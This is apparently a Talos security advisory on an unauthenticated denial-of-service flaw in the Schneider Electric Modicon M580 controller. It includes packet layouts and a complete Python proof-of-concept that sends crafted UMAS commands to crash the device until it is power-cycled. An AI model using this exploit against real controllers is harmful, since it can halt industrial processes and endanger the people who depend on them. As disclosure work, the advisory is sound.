Lucene search

K
talosTalos IntelligenceTALOS-2018-0736
HistoryAug 13, 2019 - 12:00 a.m.

Schneider Electric Modicon M580 UMAS read strategy denial-of-service vulnerability

2019-08-1300:00:00
Talos Intelligence
www.talosintelligence.com
48

CVSS2

7.8

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:N/I:N/A:C

CVSS3

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS

0.001

Percentile

42.5%

Summary

An exploitable denial-of-service vulnerability exists in the UMAS read strategy functionality of the Schneider Electric Modicon M580 programmable automation controller, firmware version SV2.70. A specially crafted set of UMAS commands can cause the device to enter a non-recoverable fault state, resulting in a complete stoppage of remote communications with the device. An attacker can send unauthenticated commands to trigger this vulnerability.

Tested Versions

Schneider Electric Modicon M580 BMEP582040 SV2.70

Product URLs

<https://www.schneider-electric.com/en/work/campaign/m580-epac/&gt;

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-248: Uncaught Exception

Details

The Modicon M580 is the latest in Schneider Electric’s Modicon line of programmable automation controllers. The device contains a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus and a management protocol referred to as β€œUMAS.”

When attempting to read the Modicon M580’s programmed strategy, two UMAS commands - INITIALIZE_DOWNLOAD and DOWNLOAD_BLOCK - are used to initialize the operation and request blocks from the device, respectively. During normal operation the amount of data to read from each block is defined via a length field in the INITIALIZE_DOWNLOAD request.

When this field is changed to contain a much smaller value - such as 0x00 or 0x01 - and at least four blocks are requested, the device enters a non-recoverable fault state. In this state, the CPU has entered an error mode where all remote communications have been stopped, process logic stops execution, and the device requires a physical power cycle to regain functionality.

The structure of a INITIALIZE_DOWNLOAD command takes a form similar to this:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C |   D   |   E   |
  +---+---+---+---+---+---+---+

A --&gt; Modbus Function Code (0x5A)
B --&gt; Session
C --&gt; UMAS Function Code   (0x33)
D --&gt; Unknown              (0x0001)
E --&gt; Block Length         (0x0000)

The structure of a DOWNLOAD_BLOCK command takes a form similar to this:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C |   D   |   E   |
  +---+---+---+---+---+---+---+

A --&gt; Modbus Function Code (0x5A)
B --&gt; Session
C --&gt; UMAS Function Code   (0x34)
D --&gt; Unknown              (0x0001)
E --&gt; Block Number         

Exploit Proof of Concept

import struct
import socket
from scapy.all import Raw
from scapy.contrib.modbus import ModbusADURequest
from scapy.contrib.modbus import ModbusADUResponse

def send_message(sock, umas, data=None, wait_for_response=True):
	if data == None:
		packet = ModbusADURequest(transId=1)/umas
	else:
		packet = ModbusADURequest(transId=1)/umas/data
	msg = "%s" % Raw(packet)
	resp = ""
	sock.send(msg)
	if wait_for_response:
		resp = sock.recv(2048)
	return resp

def main():
	rhost = "192.168.10.1"
	rport = 502

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((rhost, rport))

	# send Initialize Download request with null BlockLen
	mbtcpFnc = "\x5a"
	session = "\x00"
	umasFnc = "\x33"
	unknown = "\x00\x01"
	blockLen = "\x00\x00" 
	umas = "%s%s%s%s%s" % (mbtcpFnc, session, umasFnc, unknown, blockLen)
	send_message(sock=s, umas=umas)

	# send at least 4 Download Block Requests
	umasFnc = "\x34"
	for i in xrange(4):
		blockNum = struct.pack("&lt;H", i)
		umas = "%s%s%s%s%s" % (mbtcpFnc, session, umasFnc, unknown, blockNum)
		send_message(sock=s, umas=umas, wait_for_response=False)

	# clean up
	s.close()


if __name__ == '__main__':
	main()

Timeline

2019-02-06 - Vendor Disclosure
2019-03-28 - 2nd copy of report issued to vendor
2019-04-08 - Vendor opened new case for report>
2019-01-14 - Vendor provided inquiries to reports
2019-01-23 - Cisco Talos Researcher provided responses to vendor inquiries
2019-08-13 - Vendor Patched; Public Release

CVSS2

7.8

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:N/I:N/A:C

CVSS3

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS

0.001

Percentile

42.5%

Related for TALOS-2018-0736